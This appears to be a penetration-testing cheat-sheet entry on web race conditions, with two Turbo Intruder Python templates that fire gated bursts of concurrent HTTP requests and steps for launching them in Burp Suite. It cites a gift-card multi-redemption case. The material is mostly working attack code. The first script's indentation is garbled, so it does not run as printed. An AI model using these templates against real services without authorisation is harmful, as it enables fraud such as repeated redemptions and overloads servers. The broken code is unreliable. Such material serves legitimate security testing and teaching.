Race Condition

> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.

Summary

Tools

- Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.

Turbo Intruder Examples

1. Send request to turbo intruder
2. Use this python code as a payload of the turbo intruder

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=30,
                        requestsPerConnection=30,
                        pipeline=False
                        )

for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
```

3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
4. Click "Attack"

Turbo Intruder 2 Requests Examples

This follwoing template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    '''

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)
def handleResponse(req, interesting):
    table.add(req)
```

References

- Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4
- Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019
- Race Condition Bug In Web App: A Use Case - Mandeep Jadon